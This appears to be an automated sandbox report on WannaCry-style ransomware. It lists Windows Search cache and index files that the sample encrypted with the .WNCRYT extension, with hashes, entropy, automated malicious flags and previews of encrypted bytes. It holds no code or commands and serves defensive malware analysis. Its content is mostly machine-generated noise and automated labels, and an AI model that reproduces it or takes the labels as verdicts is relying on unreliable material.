                                                                                                                                                                              Preview:WANACRY!....a.R.YV..ay`...LQ.../...u.1.c....\.O..+.=.~D-.$........:...(.. r2K...2.|B4<6..\r...{..\H[........@@...t.....l"...)N'w....".R...1.bD..=..>.g....zo.F..L{E...i1Q.u\..*......J3J..P..9!y?.b:....H#bE..2.)\...?..6Kp..U.8gaU\.Q~8$p...c.._A...Y...".. .}....#..........*...q.x.%;....[X.....*..$.`...m..V..Zy....Ic....Z......U...n7f.......w(.A..-.c^.?.1.d.....^....0".....t...I.|-S..d.....O.....3...F8........j..2.......".Gh.>....vI%...~^.........k...b. ...5..K.1.L_5......}....5...._.6.I.B..n}.}.......y....Y.W2.TZ<.?..D<J.E.bJ.>L!1g..DS....l..1..g.R&...7,s.....O~....1.]..z..GqA..."....nW....m/.i.v..D...@........n...,...+.LC..e..y..'9..j..h^...|f.(...O!.6...E."....5.mj..}98..,....x.`.|..U!..i..}.....M..;.......A.[.?.C...|...a...e..An.I..R..U........L.+.h.RU.".=..Q.#.a\.......>.._J...z.<p.M.S-z.4..e..-FC..a.%>.....E.k..-...H.........m.8...@.Q..;...;.......]..............Q.....9pG...QB..m.....$..=..{9..~.!\OH......M.>...+....B.......J...]Q..[.YT{...

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\rUQ8SSsIzKcgb77SIOCfnAbpfB4.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):408
                                                                                                                                                                              Entropy (8bit):7.437714380472901
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkENJLqHmiYj+3PLNMcUex0E4K/KMKiWnCb/tgeDUl/RDmJeHlePlCQSM+6r6p:bkEzERMcrIC/th80sAPkS+l
                                                                                                                                                                              MD5:866DDED0BD772338ED69F9B3B769E123
                                                                                                                                                                              SHA1:61051B38D63878EA2B859AB5AED54C23A0AF09B8
                                                                                                                                                                              SHA-256:6BD8CF504F2827EFAE18D76A22AF9127C7736867A4DC12C2BE1A94EB0F9F347F
                                                                                                                                                                              SHA-512:A4C6F0D40C248ECA37B6BB3EBEF74D0EDCF2F666D1D8746101F8CFDBAD570A7F56F9C02F7880D6572F40C97EF67793E8B3F3F2DD3F07DAD597427B936F2722BC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....,........_1...%..]!..e...Y..o.e...`C.4if.].<.)C.+.M.QS1..YT...T.xCo.b5.N..(RF.aq.....y+.....l...*.OSW7..hvC..V..\..rQ..^MA..]...6...../{.'.......I.+........^\...r......kvo..q..J...7..`.P..s......l...1..h./K. ...RS....ne..o......oA.k.6<..UpFsE......q.......b....&.........h.93n.....P8..=.?]..CE@.@BRE..X...Y........t.q.kC\Z...]....g.XJ...H.F.Ji..&xY.....S.i...,<...~/.Q;.*

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\vPBP7RPIJrbNZlhe-HUXYkcDX0A.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):58984
                                                                                                                                                                              Entropy (8bit):7.996950833043646
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:Z2dtbIgpMI3MmHkdjRGqHgXJIZqceFXsGV0YvbCjrClAu4J/0AUt38it/1KHXn11:s33lEdjAasl04btX2/tqKHdJ
                                                                                                                                                                              MD5:BE527526E0F45E56FFB230FD8E9F9097
                                                                                                                                                                              SHA1:3C665378782A75D2A0886AA74600F84222C7011E
                                                                                                                                                                              SHA-256:197DEB93BC7602BE372A5937AD055469383513F55103EAA28847B3D8DA005A9A
                                                                                                                                                                              SHA-512:C8F80B6602CF5CFFDA384A78EE21EA48CDEF7B13FE16A672B1184E0D955F77AB20ADBF3104A08714D128C09F893241E3CBB29A4BBB00C9DDCB0EB0813C59D359
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Y..eR1[Sr..P.U..3..ka.`.E...E\...H`.Zbh....rX..Q...w_[...k^T...S.r._a.....j-...+..8.9.7....Y.....S....hz"^E#.q....~k....kf.?.L.I...<.tV...ER8.y-.~..YhH....S.q..8W..;..a..8L..C......W$.A1.....>.....:n.....2c..84f.r.;mZ....o.#f..e.r.h..@..x.....=w....G........./..7..&...!.w......}....u.s@#.#L.}....Rx]......M C.d*@.B..E5!..Pq........~....p...^.0...(..fv..V/......".._...AS.....P....I.{.&.sZ.l..D"O..S...0r..{d...ns.d..r.;...[i..>..q..Howw.;...T.........b.._-...6iUN..g.1...X..YV6........ ..>....6=\.4.t.....vF.$A..,.......C....(.....fQ(j...u.a..Q..s....E.&.....'.Tw.. .zW.^E.}...J...m......q1.....Iuo...D......8...E).k..s..)..sr!.....-]O..e...M.0#........nkn.....-...V.,^M..h..P.(.].F6K.G.`..../.?}.......\e...B].j.-.......:....H+..oC+..u6j s.v...J.1.Z .N.c .....6...b..+.#.....#......k.6.....]...........q/g...b...f6o.......[e....^n.jd....1.......Y}......c...%.>..)$..+....[5>_??..CS=.[...t._....j)O$.gt.l.T.,..8.j......]O.lY..`..0..{.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\x9TiBFKPhYF4yOf0IfKaPIf64qI.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):127736
                                                                                                                                                                              Entropy (8bit):7.998345299625736
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:h7gMD+1IF8RAr0m34bpAPf/urmRh0U8chLDL6vy/q72D7QN:hEMD+1IYBbePnvGUP1DL6v/IkN
                                                                                                                                                                              MD5:36E2FA47337CBDED61420579D3C5D18D
                                                                                                                                                                              SHA1:71FB644E242C94C62E379F0C3F9F5774B05E0218
                                                                                                                                                                              SHA-256:58D9B08D247B9BBD0DD17B1E34785CB80FD3B2CFB74C65AB05736B571AD64BBD
                                                                                                                                                                              SHA-512:B46A3BD00599789AD2B2C018E9F1D55240F33083BFBA3B6CF2DC9AE74FBB866B74F32C2E276E5C0EA3B3AD75E1F5AB3ADB564E6CE75501CBEFA0498216054CB3
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....-....{..A.p...\./.<.t.[.i.qra.&H:(.#....(~....2...nA...".[l.f.<..,......v39!/..1.......HMT_.c*l....5.,9?...}y#m1?4..-.w)4.:.9.U...>pTh9(R.c.KR%.{.nM....i\:.G....=Y..._.iF...c4a..Y........[nzF.|+.....|+..C.<...l.....Z.._S4N..jT.r.....4Cy..AAU..................-1%..Z..&...y.I..fr.....*.Ul.."l..}...f..kz..Eb...>.....J..Z...".N....#Kox...y..<..Q..f.!..h....dH,.pO..(.C.7x.....A..A:.GUpE..p.;=fR.....M......5..^.LN. ..o1..!gI}Vw.="..u...........Zb..3.L.$L.....g.0..O.f].....J\.(.}....}f...3....N.m....g)!.......c\.3..FY.....A...%-b..QyEO.e#W.^..<.S.>.-.5.B$..k..R.6MI.......l(........7.u...y.ZZ.K..Yx...oKOH...K!..o..`0 .''..ka<....A2}.'.`.....wO.w=g..,.@.Z.....aR..W..TY.%.7q.....E".........w......[.5..O....*.M..K..x..D.e...(."-8..D._.....3...x.oO.r..\v#.L.Q......k....-.^.[S.L...! m.....f..l.z)~ d..4I..d.........a?....T.Rt~.6X..Mi.m..FC...[.~..&.. ..|"f).wJ..KV...V.X.+..SY.9r..n%....3IQh..h..(........)Z7Ty.8..vAh..:M...C........._!......,y.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\xO01H2dEYfjtj69ouv_nR5Al0cU.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):173608
                                                                                                                                                                              Entropy (8bit):7.998907280226183
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:F8nuQCf5vCdWSlFkX1zgfXHERU1TZ7eyU/YzFpfEk0+a0tsyrM9ozB66AVSs35q+:F8nurf5vC3ly6UUTZ7A8Ek0+a/yr0ozE
                                                                                                                                                                              MD5:E7585479B5FEB594B6F00236D5CBC08C
                                                                                                                                                                              SHA1:F27A02CFC2F26E69C39BA0888E6997943404D38C
                                                                                                                                                                              SHA-256:77CD10535B5EEA87F442D311F97F3AB715F6AEA2AEEA603AA37BE092AD63E0D7
                                                                                                                                                                              SHA-512:B778965755577B7E5D5160C7DDD1BFEEDCD1354B1A178DD3D1525A02E983DD72A31EF1299E33AD66FE54A4DF8FDE483D247EAA9536E857D489EC3904319F9D95
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....S&../.H.<1.3..v50......*..5.w....,....Ni[.|E'M8k.@<.....S...zV...AM.n..).p...AY.h\X..4Lx*......@6S....P@..e5..y.5.9U.D.u.7.e.l..L.1....;/U.B../...T.'..7w]...!".6....;W...4.....X...N.#J..".,......h.......8+W...S.b>..XS3o.6.#[...,...|.R.X...1#.".....................H.X..4.F.}C.T.F.dJ..x.O.[.]...|..0+L..4l.rMT..}.T.l@."V.@.ywU^...b"".+3r...`Z..eE....`.J.u..08...nT....t.$..G......]W-...v.yE~.3....T.u)$B.....1..!j#.G......R..vA..(i#..hP.*u.......uRxg9...W......2?B..T..4xp..xI..n.../7M...?.t..4.Y..H.Y".l)...Xx....=..u(..97....)D.g.@...*..!..P...M.*.8.....)...b..(........%&vZ..S=.C...hZ.T.N...._.u.^.....&...V.....}=...!:.R|......hQ-h..9w.t........}..."...GX}tL.+...N...t..\_....`.CJ.{.....Y/~#..(N.)..(;qIJ....*....m..D.E.df..{...g.k.......a...J.....8..j........K.Kk....cj."lst.a:.A7.~%..Z..g......Cc..&Z.B.yP.. n..)...........G...R..`&.~.}R..7O#.D.~.Q..!Q...`.=.[9.....l....+.......ep.....vz.PC\m.}..|%.J.s&.5....m.o..(p.8I.....].}..4....UH.j.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):59016
                                                                                                                                                                              Entropy (8bit):7.996909807522197
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:2ObulpB15sKqVkEnoznZoLpq7dyIIDLN4NhhYL6V61A7TJp:ObBsNkEnwZ4Myvu9YWga7TJp
                                                                                                                                                                              MD5:E3486FE8784DEA7083496F210C775010
                                                                                                                                                                              SHA1:4AD1BC2EA3D552EC5FBEF6FBACC53C0FDFF98E32
                                                                                                                                                                              SHA-256:80DFD7611FAEE02B39D6395A8154EB44D94E43764640FBD24178CAA5839FD4FB
                                                                                                                                                                              SHA-512:07D582752B6BBF8E756EA321E4ACA12E7469036DE3C351F34318797D31351F1B20DBC58B23F3CE4E2668EC6C50798918325A9CC744250808D5C6FD5082318640
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...._..h...%...OA>8..dy....Z.`)K1LE{./...G....5~......l.^$X...^.[ L...s...g.......?.eS2.Qt..x...1w........)..k..<.. ...tw.l..]J........F....KlE..I.....XB H..K.....7...n`...h.wO0.q+m......L.x.G..[K..+#:..[.x...eJxh....6...n.A....v..*.B..K.._.t....g........X...t..D...qE.g...."h..\%...}.|1..OCJW ~t1...V.f..ex...M.....4JC.z.....NR.U..-..;..N..n..cS"q.Xtl"..1...x..?..Wj.R..G.F.&G#....=..7.m...Y(..u6.D7.p....Sslt9.....Z..&.#..8.~...7c.]D.V...o..}zD..2.Z~.(..t"...t.U........<.^...g.]...QI.ZY."F:Z."..I.?.......D+...C.=..5.pFX.Py}a........-$...X.I..w..W...F./,J%....\.#...D.o!q....dU.dtV5..j..,L.......2@..'.+.6.r.u...09..3.u:N.n@;.....I.nL....n.Lt...8.H..w...I?..".^.vv....v.I.=..>{Xh'...k/..G.q...A...I..hg...Q..d.?.]2..F.L....L.9..BA.$..].N..Z...RS..B"......m..:.2...r...|.{../......aj.....<k>.v.(....zF......>L[.t.....$..X..VS-v..Y.g.....8...a.nCT..g....x....)....Uh.c..CX....R........&.[.!.....R..0.D.K.....y.SU&:A..P`.0X.P..Lo.d.....=.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):20552
                                                                                                                                                                              Entropy (8bit):7.991030297360169
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:Dy98w55ssCc14xGlsjugtW16DwZSv6xPDOuD1x1APJh6pmihvjnncH5fC0hk:Dy98m+xrStZy/Pomihbnnc9k
                                                                                                                                                                              MD5:8CB872B5061A42393A3C1319114F30AC
                                                                                                                                                                              SHA1:050704EA4D563E857B84F5424CB0B120E347E9C1
                                                                                                                                                                              SHA-256:CEA01B0B3DF31C00CC3A0F1768F0774E0E58C3DB2D5AC8E835C9324CE8CFF763
                                                                                                                                                                              SHA-512:12DB47464E02B43ECDC637A0F009DAD243EEB876AC97D9193438612C8E5C224EEC92D40C017BBD459A0F8AEFCBEEF5EFE3DD685EE3B7A0A2EB793378A3FBD01B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....].x.U..C..;.......b..~..w...!?=.. Bv..c..H....^..yF"..1F.|v.F..q .sq*8......".......y.2..^.:.r.T6..~..hK..X-..jf/..U.K....L.)T....w$sd7.A.3.k. .!..I...r...T/..W.mOD....O..t....Z........y....i`l.:b...hDD..Y.,..w..dB69_Z1.. .... -)......"I+.p.[....$O......z...k....-....k$=.I|.l.....p.....y..'1i.jXd`].....dKj.....?../.+......V..wG)...M....=...Y....;.l....Wv.a....Z6..TM8...~I.h.........^{.=.B.|..p.g..........O..L..(O;.....Z8.:..^.xw-tH....#......v+6Hp.H.}.y.$jRq.~..Xi].-....}Y..&.N.j.5qu.. ...l].<....kY#Z/.......F.un]gglm.@....r@n&.....6&..m.W]O`l..(O.'..>.0ccA..&.u.....!.3....V.&9.`7.>....{......X.A.....6.,.('.C.o.|.........z.1k..}........K..u%:..C.c.yA...f&v.T.F..@b1=g..K..94......B....W......].yZV7.)H...Y...n.y..G..e...$..-.>.9.D.K.p{.......8..%...l@.K....8<...X./.x.."l(.m7...v..I8h....t.."l."f5-...?.?......Y?..%..k.'PT.... .W/*..H1H*.....:....d...v}...j..!$.......p..?....! ...E..B..k.M....E.R.Gxa....~...\Z.......-V0..G

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2097432
                                                                                                                                                                              Entropy (8bit):7.999910470540804
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:IAVP2eColONNBXfNKHg+Io46zzZVkEI1NtysArrtpP:++ONjN2hzwNcPrhpP
                                                                                                                                                                              MD5:6F7E88A61BC87EC7D95ED8D54EB04656
                                                                                                                                                                              SHA1:612A4361B4142100D27CC230A77A754A1F85C11E
                                                                                                                                                                              SHA-256:54E7EDA559CBF6EB784C2632BD23AFF4C519248492F1899B519E9087C6CAEC4C
                                                                                                                                                                              SHA-512:69D7BD4E8E9E0F9E74C93B75C8AD14E21BD25B7774F8B735890BD5D9D07B1E42F4513C4017686BC89F969F8991E1BFCCBC64947F09E788DE114F8BAFF88C7301
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....y..G.<.&D{...m0.b.`....Q;..k..rAn.C....,...."^.....BIl ..}..c.ohW|.&0....r.G.h...>H.....!...*....l..+w.5@..Za..0.|.c=....pq.l..s.......K.:X....Q..S....=.%'.g.......S.-..D........]`A...4/.5X|.I..i..r..[.]...4E..|~...K.e$...I....,.3.S..bh....%.K...... .........*L..T....}..{........ntG..QIs`..-HZ....`...L1..p.<..8. ..[.....!n.l.......(......|.c.}(Gl...|)......8.y!.....,.V..n..s%.1.......4.l."^:f3......G.....A(.J .VW.U....\.E.v..9~.....v..R8v.....VO.>[V...d.;.E}#).....vf.j..o.\.Zy.....s.q.U......=\..e ..O.....cc.x....*a.v......`..)z..gw..\.3...-+...Ick7..q=..)~c...'...U...7.Dd.a.....v,.,........._.j...,..\...k.8..[>_7.}.DX....k..w.....Z..8.v....8..Q..hYV&.\FV........MX...A.....6...n...............e4..4c!..;...23=........I%<Id.^..P..J.....i.8......"\..v.[.E*knQ.Ht9_..T(.yZ.$...s...R..I..Z1.R..HuV.jR..+....W..._.U6.3...d.....F..U8t)d./.W...7.......O..`..SC....y..[.e..,?..'=...6(|........M.5.....l/.MM.>..@....i..$!J...Y.y0..i.....~5}.%.P3

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37464
                                                                                                                                                                              Entropy (8bit):7.994602040656615
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:0XiMFlhFmi0GmJeRXKttJAMLNU6zypHnOcA1XNmfamIIVIs+d1N:/+vvQkKDJAMLNUg4HnOcgwfTIIKVN
                                                                                                                                                                              MD5:6A78ED421C91F9DDB312A7821A69197A
                                                                                                                                                                              SHA1:7DE697D6C2C13614AC7EE7ACBA45DDEEEACFAB51
                                                                                                                                                                              SHA-256:4D2D36F4F0300FE88E90A783701C3FFFDAD15DE30EA1AF0333184882CED8EB39
                                                                                                                                                                              SHA-512:39ABC92A44AB1DCF4D8CA523EB897C40DA46A9FE73C675830F2AC8E498F8A3238F83570F0709DC05313F7356ABDFC74D7A407D54A4E97747448DCAF0D1946E33
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......<..1i..v.....o.>+..._...QD..O.q..........>.....)..4N....hd.[o.A.G.7%..X.K.#%...L.../.....+..s...2_..j...Q.._...R5.)h...]Rn....y.. .......^k...8...Y.:....MEw........~."+.!.W...t.....j..y....c.P......;j.p.)i......xn..6...W]"'D..cV........Y.XA....4........:YWR;..t..E.....p(h.4F.Un...q.-X.@....q..*.%.\OX.E..1@....S@.E(.?..F.d'3..7...}.].:....w.$5f%]....E.!Tv.<),A.3Q.;..7....c.......Y...A_h.p.tV.}...5......r.J...$..}..6..6^...<.=....G}.).)......5.:..?],..C......y...~U.D..o.....N...*....{...^*...\.(\j......g...w...wx.,.{i...i....tg...`@.W.W..TtK&S5.k...2gX.$.l.CF.~..H(.d.`...wa...N9.4..+..).w......jeh>..J.......Rq/B.qq..;B...(.q...6.JU...D%a:.X.<.@....".np.+.Axv.`v.f.y-.)..A..Z....O....1..La...@'.0....Ah....X00 ..|.G.A......'....x.Jk.Z;...B..%..d_.......i.jN;..N$.b.A#!I.......{v...$..iy..>,...8.....@.+c...Y.l.^.XQ..Nm.S...&?....;..=F...0..B."x.o.3^.....hB...^..+..D.n.hg.t ../{...k_.......l.....M..T......~.d.._$.aq.O.Y]1.:..$..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.206256671455845
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEhm35xO4IU4KZ3CxNGT6rs/2ebLDkI08wQUYxlwJg/WV:bkEk35xO+4U3C9w08wKlwJX
                                                                                                                                                                              MD5:F6F5C9104FFC8C86ABEE8049A1A516F7
                                                                                                                                                                              SHA1:796463CC9F67D475658750C464E95536BC9F54F1
                                                                                                                                                                              SHA-256:82AF84A56BA328EF5A6381310764D99F367AA546801DDF733EE24B2CFCA89F54
                                                                                                                                                                              SHA-512:5A687FEF1C25DDBB12342F38434B6B0E8F9F0AEB8FA36898FDCD0E42F80A703DD5A74C3FCFA30DD5713413C9B98A8F262EB7CDA7DCDA13152714749239218BD3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....6....1\.=.,.5.<.=...$em.....F@..a;&....+....v.O...)4OxW..u.7..d./Sv..$.E...-...UAx....;X....V....>F`.jf....p.X{^..>.}[..D.....9h.........w3n.9..X..2.m.s+.&.....1..ip.(.....#...s...Z...-..5.......I..3u*.>.+.*..z9....7..\.sR.)...A..44.*d^.|p>....K..................S...-.d...h

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.171428122641267
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEV//j4vxkpiNe2mZcGjoPP2pk/5+OlU63ButvZQjtR46sb7:bkEVnj4vxQiNYWCo0k/MsFovZUtpsv
                                                                                                                                                                              MD5:A4182F8510204C8267DB4AEBEFF2441F
                                                                                                                                                                              SHA1:F602B69E6E884D64C38662FAD47A20DA8B1E388B
                                                                                                                                                                              SHA-256:8DE87FA8A4B21CD3120EC55596DA6AB908086BB4E209A38321D6F86A511B460E
                                                                                                                                                                              SHA-512:5D3168FF5FA0BD252215F5D927442131AFBCA170F657D81F62CB8683ADA5491EE171A068AFD69FD37D7EB00A0EBA1164ADA28F5398919F4A17257A96065DAC7E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......1.f.D....._.".........:./St.........cw....#..t...."...'8vJ.s..w.v.`..J..4..E|Q..p.2j....q1..c$.LR.%.....j.4.$RC...E.....0.(v...K..'ds....58.m.V..[>....1N....k4L.....'S.D..v.N.5.A.....V:w_.Y.R.Q...$F..w.w5;......W]e....X....n..7.!.nGA{dg.K4.^..............h..)cBK.hl..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4b6fb67e-d996-419d-8681-98d6e0bd0771}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37464
                                                                                                                                                                              Entropy (8bit):7.995990130123616
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:tfcqWL+oEloKhtvZDGhpZZfY/9mngZkBq/NPx9FL82Kv+1:VcqplloKhtvZ+C/9smkBmx9F42w+1
                                                                                                                                                                              MD5:85DB9315E95B49A94F7319336AA4A1A1
                                                                                                                                                                              SHA1:50A8B942BCB647D18EABBE85A1E1172AF34B15E1
                                                                                                                                                                              SHA-256:37FFC4A69F4D4CD32D5B2DEF59B281D152692EA36BA02A49B05AA0EA6F889B56
                                                                                                                                                                              SHA-512:9F82796206B78C8887822E46F5EBF5BD528D8F9069B86A2FEAA5B72B40107DB2B45106A4D5BCEE99397EA100F4BC05ADD8CCDD18CE7F6112A8E73B920622033C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....iY&..N..........(..(Q....om.>vp~2-).`...N...H/Y.&........w$...2.....~..5.._.=...@Z...=Q@...w.&}.T.@9.G.GN`.zX.w.m.r..7b..Yy.}.|"[EG..o.4.[...'b..xg...".....M#......,7..Fa.W....=E4....3......(.{lGQ>W...b...$ap....W?R.......6.......??.e..<..a/^+....4.......$..^\wv.%..=)...z..G.D..$.M...xZ..(.o..DYf...o.....dV%.....E^Rt..x.N.p.W.V.....j..^.HA..ps./.....kX}o...%.xC.m(...4Z&.v<{.# ..,...b....qYV[.-NG..u.l.........eE$0@pQ.~{9.-....Z..A...!).]...P..;..j.:+...2.[.os.N....&t..-....O.$.<.d.|....3+.:.L--].....s...O.t.Oy`a.L]...A...]...p.K\.._..-..%.....}=.....w...0.b...w.X;...!G.<...M..LlL]..K$.&k.....N..U.d..2...<..T.hL.+.T...\...U.....b`........ZS....I.F.n.h...(I....R.....q...e......J....R.qv...:.|D.....j:.`|.y.5v.j....N ..........T.....|..3..N3..5i .W........=.7....$.!..G.......<..BdZ.q.S....g..8...:.....w.4.?..R.."t.......n.>...:...2./l.o.]OK......=.T........~.....B..>~.....fu..Px9.pLa...C..X_k.Z.O.tD.|.r.....W$.8..=.<>..C.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4b6fb67e-d996-419d-8681-98d6e0bd0771}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.15562727666844
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE/mVXBpACzv++9oJYwcw4H7UcKN6LKHi2Av+zbz0gJMSt3:bkE/mVRpA6v++9kYw5/6Zv+YgyG
                                                                                                                                                                              MD5:A6612CF27006A57D1ECC0E171DFA61E7
                                                                                                                                                                              SHA1:9D172A918960789BCC574F63941487621DF6E6D6
                                                                                                                                                                              SHA-256:39C67F0C3EE2977EB0557CDDEAC4C55DC8ECEC00353E2D92AF5D1ED0C8BA1D11
                                                                                                                                                                              SHA-512:5C741E2857B5F43B983622257D7F0115CF95C36E8F8B7B23AE6AFA28C74F07B39319718D2CA004DCBCD95C9526E3B1AC46FFC915318AB270FC4E338E38927FCE
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....$.N...R..D<|...{....|.0.)d.3I\......\...]Xe._3e.L!.....Xo.Gp,.|..0y".t......1......0g%.g...XV..(.....%.Z.y\o..6XI4....jX..yFdm.ZY..iy...v.{....x9...).U..p...j.4S..D.A........<......1y.y.)0._.>r&/<.....+.h.Hc.eJV7.c.h,....(^.a iF..|.?\.hT.M.U..*............e....S0.Y....j.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4b6fb67e-d996-419d-8681-98d6e0bd0771}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.237490159624208
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEDYBOzoZdANoou04qTFyCwctRVFAtWNhi5uvljvPCj4hJ+vgc5n8Y:bkEyZOf7Ndl7hi5ulP+1x
                                                                                                                                                                              MD5:C74A05537936ACD33BE46B0F80CECACB
                                                                                                                                                                              SHA1:A435127756702506737C1474298C6C700BA8D20B
                                                                                                                                                                              SHA-256:8ABD879C4BB8B2C81A1A8570A3B573C4A16261A8112865878F96EAB6FF6CC612
